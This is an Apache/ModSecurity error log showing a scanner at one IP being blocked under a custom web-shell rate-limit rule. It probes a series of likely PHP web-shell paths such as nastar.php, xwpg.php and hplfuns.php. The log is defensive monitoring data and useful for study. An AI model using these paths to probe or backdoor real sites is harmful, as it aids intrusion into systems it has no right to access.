[Tue Apr 28 06:25:40.338529 2026] [:error] [pid 56602:tid 56607] [client 4.232.90.232:19459] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/13.php"] [unique_id "ae_iZPCwhMxzNW_lZSw5ogAAAQM"]
[Tue Apr 28 06:25:41.448216 2026] [:error] [pid 14578:tid 14620] [client 4.232.90.232:13014] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/13.php"] [unique_id "ae_iZengo3AwIJgfSHEM3AAAAEc"]
[Tue Apr 28 06:25:42.963326 2026] [:error] [pid 14578:tid 14627] [client 4.232.90.232:18382] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/11.php"] [unique_id "ae_iZungo3AwIJgfSHEM6AAAAE4"]
[Tue Apr 28 06:25:44.067077 2026] [:error] [pid 14579:tid 14660] [client 4.232.90.232:19464] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/11.php"] [unique_id "ae_iaBrUiOG83qKKuuD0QQAAAJQ"]
[Tue Apr 28 06:25:44.959986 2026] [:error] [pid 14578:tid 14619] [client 4.232.90.232:41425] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/11.php"] [unique_id "ae_iaOngo3AwIJgfSHEM8gAAAEY"]
[Tue Apr 28 06:25:45.614338 2026] [:error] [pid 14578:tid 14630] [client 4.232.90.232:19481] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/11.php"] [unique_id "ae_iaengo3AwIJgfSHEM-AAAAFE"]
[Tue Apr 28 06:25:47.171054 2026] [:error] [pid 6746:tid 6765] [client 4.232.90.232:11896] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/p.php"] [unique_id "ae_ia7uStsbXtMDpzS-abwAAAVE"]
[Tue Apr 28 06:25:52.804965 2026] [autoindex:error] [pid 56602:tid 56617] [client 4.232.90.232:19489] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 28 06:26:20.419054 2026] [:error] [pid 56602:tid 56606] [client 4.232.90.232:19489] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6.php"] [unique_id "ae_ijPCwhMxzNW_lZSw5zgAAAQI"]
[Tue Apr 28 06:26:21.529914 2026] [:error] [pid 14578:tid 14616] [client 4.232.90.232:36529] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6.php"] [unique_id "ae_ijengo3AwIJgfSHENNwAAAEM"]
[Tue Apr 28 06:26:22.944375 2026] [:error] [pid 6746:tid 6764] [client 4.232.90.232:13540] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6.php"] [unique_id "ae_ijruStsbXtMDpzS-a3QAAAVA"]
[Tue Apr 28 06:26:23.732055 2026] [:error] [pid 56602:tid 56618] [client 4.232.90.232:40529] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6.php"] [unique_id "ae_ij_CwhMxzNW_lZSw51QAAAQ4"]
[Tue Apr 28 06:26:24.774866 2026] [:error] [pid 14578:tid 14617] [client 4.232.90.232:7255] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9.php"] [unique_id "ae_ikOngo3AwIJgfSHENRQAAAEQ"]
[Tue Apr 28 06:26:26.052971 2026] [:error] [pid 14686:tid 14700] [client 4.232.90.232:13518] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9.php"] [unique_id "ae_iku-YPF1Xm7uiWQ4yvQAAAMs"]
[Tue Apr 28 06:26:26.674067 2026] [:error] [pid 14577:tid 14608] [client 4.232.90.232:13519] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9.php"] [unique_id "ae_ikizBH-jwzlgiBdG5OgAAABY"]
[Tue Apr 28 06:26:27.827869 2026] [:error] [pid 14578:tid 14632] [client 4.232.90.232:19485] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9.php"] [unique_id "ae_ik-ngo3AwIJgfSHENSAAAAFM"]
[Tue Apr 28 06:26:28.909961 2026] [:error] [pid 14578:tid 14635] [client 4.232.90.232:13508] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/10.php"] [unique_id "ae_ilOngo3AwIJgfSHENTAAAAFY"]
[Tue Apr 28 06:26:29.531107 2026] [:error] [pid 56602:tid 56618] [client 4.232.90.232:36502] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/10.php"] [unique_id "ae_ilfCwhMxzNW_lZSw55gAAAQ4"]
[Tue Apr 28 06:26:30.224786 2026] [:error] [pid 6746:tid 6769] [client 4.232.90.232:40570] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/10.php"] [unique_id "ae_ilruStsbXtMDpzS-a6AAAAVU"]
[Tue Apr 28 06:26:30.774814 2026] [:error] [pid 14686:tid 14711] [client 4.232.90.232:36494] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/10.php"] [unique_id "ae_ilu-YPF1Xm7uiWQ4yyQAAANY"]
[Tue Apr 28 06:26:31.750290 2026] [:error] [pid 14577:tid 14608] [client 4.232.90.232:7275] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.php"] [unique_id "ae_ilyzBH-jwzlgiBdG5SAAAABY"]
[Tue Apr 28 06:26:33.280765 2026] [:error] [pid 14578:tid 14620] [client 4.232.90.232:36507] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.php"] [unique_id "ae_imengo3AwIJgfSHENWQAAAEc"]
[Tue Apr 28 06:26:34.322186 2026] [:error] [pid 14686:tid 14696] [client 4.232.90.232:19480] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.php"] [unique_id "ae_imu-YPF1Xm7uiWQ4yzwAAAMc"]
[Tue Apr 28 06:26:35.522075 2026] [:error] [pid 14578:tid 14614] [client 4.232.90.232:40559] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.php"] [unique_id "ae_im-ngo3AwIJgfSHENXQAAAEE"]
[Tue Apr 28 06:26:36.514764 2026] [:error] [pid 14579:tid 14658] [client 4.232.90.232:36512] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/nastar.php"] [unique_id "ae_inBrUiOG83qKKuuD0vgAAAJI"]
[Tue Apr 28 06:26:37.220817 2026] [:error] [pid 14578:tid 14622] [client 4.232.90.232:36495] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/nastar.php"] [unique_id "ae_inengo3AwIJgfSHENZQAAAEk"]
[Tue Apr 28 06:26:37.958884 2026] [:error] [pid 14578:tid 14628] [client 4.232.90.232:22694] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/nastar.php"] [unique_id "ae_inengo3AwIJgfSHENawAAAE8"]
[Tue Apr 28 06:26:38.558813 2026] [:error] [pid 6746:tid 6754] [client 4.232.90.232:18378] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/nastar.php"] [unique_id "ae_inruStsbXtMDpzS-a8QAAAUY"]
[Tue Apr 28 06:26:39.350157 2026] [:error] [pid 6746:tid 6756] [client 4.232.90.232:40536] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2026w.php"] [unique_id "ae_in7uStsbXtMDpzS-a9AAAAUg"]
[Tue Apr 28 06:26:40.070952 2026] [:error] [pid 6746:tid 6753] [client 4.232.90.232:36492] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2026w.php"] [unique_id "ae_ioLuStsbXtMDpzS-a9wAAAUU"]
[Tue Apr 28 06:26:40.782461 2026] [:error] [pid 6746:tid 6767] [client 4.232.90.232:11757] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2026w.php"] [unique_id "ae_ioLuStsbXtMDpzS-a-QAAAVM"]
[Tue Apr 28 06:26:41.461170 2026] [:error] [pid 6746:tid 6766] [client 4.232.90.232:22682] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2026w.php"] [unique_id "ae_iobuStsbXtMDpzS-a_gAAAVI"]
[Tue Apr 28 06:26:42.132083 2026] [:error] [pid 6746:tid 6750] [client 4.232.90.232:36511] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwpg.php"] [unique_id "ae_ioruStsbXtMDpzS-bAAAAAUI"]
[Tue Apr 28 06:26:42.678177 2026] [:error] [pid 56602:tid 56619] [client 4.232.90.232:40517] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwpg.php"] [unique_id "ae_iovCwhMxzNW_lZSw5_QAAAQ8"]
[Tue Apr 28 06:26:43.696864 2026] [:error] [pid 14578:tid 14624] [client 4.232.90.232:19478] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwpg.php"] [unique_id "ae_io-ngo3AwIJgfSHENggAAAEs"]
[Tue Apr 28 06:26:44.620136 2026] [:error] [pid 56602:tid 56612] [client 4.232.90.232:11723] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwpg.php"] [unique_id "ae_ipPCwhMxzNW_lZSw5_wAAAQg"]
[Tue Apr 28 06:26:46.006646 2026] [:error] [pid 14578:tid 14637] [client 4.232.90.232:11733] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ass.php"] [unique_id "ae_ipungo3AwIJgfSHENlwAAAFg"]
[Tue Apr 28 06:26:46.803987 2026] [:error] [pid 14577:tid 14599] [client 4.232.90.232:22675] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ass.php"] [unique_id "ae_ipizBH-jwzlgiBdG5awAAAA0"]
[Tue Apr 28 06:26:47.580786 2026] [:error] [pid 14686:tid 14711] [client 4.232.90.232:22689] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ass.php"] [unique_id "ae_ip--YPF1Xm7uiWQ4y3AAAANY"]
[Tue Apr 28 06:26:48.192009 2026] [:error] [pid 6746:tid 6758] [client 4.232.90.232:22660] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ass.php"] [unique_id "ae_iqLuStsbXtMDpzS-bCgAAAUo"]
[Tue Apr 28 06:26:49.006770 2026] [:error] [pid 14686:tid 14708] [client 4.232.90.232:36542] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about.php"] [unique_id "ae_iqe-YPF1Xm7uiWQ4y4AAAANM"]
[Tue Apr 28 06:26:49.657986 2026] [:error] [pid 14577:tid 14592] [client 4.232.90.232:11268] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about.php"] [unique_id "ae_iqSzBH-jwzlgiBdG5cwAAAAY"]
[Tue Apr 28 06:26:50.316813 2026] [:error] [pid 14578:tid 14631] [client 4.232.90.232:11313] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about.php"] [unique_id "ae_iqungo3AwIJgfSHENoAAAAFI"]
[Tue Apr 28 06:26:51.090315 2026] [:error] [pid 14579:tid 14661] [client 4.232.90.232:11293] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about.php"] [unique_id "ae_iqxrUiOG83qKKuuD04AAAAJU"]
[Tue Apr 28 06:26:51.754447 2026] [:error] [pid 56602:tid 56619] [client 4.232.90.232:11731] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "ae_iq_CwhMxzNW_lZSw6DAAAAQ8"]
[Tue Apr 28 06:26:52.702100 2026] [:error] [pid 14577:tid 14595] [client 4.232.90.232:11719] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "ae_irCzBH-jwzlgiBdG5egAAAAk"]
[Tue Apr 28 06:26:53.717107 2026] [:error] [pid 14577:tid 14607] [client 4.232.90.232:22703] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "ae_irSzBH-jwzlgiBdG5fQAAABU"]
[Tue Apr 28 06:26:54.338897 2026] [:error] [pid 6746:tid 6759] [client 4.232.90.232:22707] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "ae_irruStsbXtMDpzS-bDwAAAUs"]
[Tue Apr 28 06:26:55.136348 2026] [:error] [pid 14577:tid 14609] [client 4.232.90.232:40533] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fine.php"] [unique_id "ae_iryzBH-jwzlgiBdG5gQAAABc"]
[Tue Apr 28 06:26:55.807398 2026] [:error] [pid 14577:tid 14590] [client 4.232.90.232:40553] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fine.php"] [unique_id "ae_iryzBH-jwzlgiBdG5gwAAAAQ"]
[Tue Apr 28 06:26:56.535134 2026] [:error] [pid 14577:tid 14605] [client 4.232.90.232:19484] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fine.php"] [unique_id "ae_isCzBH-jwzlgiBdG5igAAABM"]
[Tue Apr 28 06:26:57.177301 2026] [:error] [pid 14578:tid 14628] [client 4.232.90.232:40546] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fine.php"] [unique_id "ae_isengo3AwIJgfSHENpgAAAE8"]
[Tue Apr 28 06:26:58.102002 2026] [:error] [pid 14578:tid 14636] [client 4.232.90.232:7293] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "ae_isungo3AwIJgfSHENqQAAAFc"]
[Tue Apr 28 06:26:59.022819 2026] [:error] [pid 14578:tid 14626] [client 4.232.90.232:19516] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "ae_is-ngo3AwIJgfSHENsgAAAE0"]
[Tue Apr 28 06:26:59.763097 2026] [:error] [pid 14578:tid 14629] [client 4.232.90.232:36486] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "ae_is-ngo3AwIJgfSHENugAAAFA"]
[Tue Apr 28 06:27:00.536512 2026] [:error] [pid 14578:tid 14627] [client 4.232.90.232:7241] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "ae_itOngo3AwIJgfSHENvQAAAE4"]
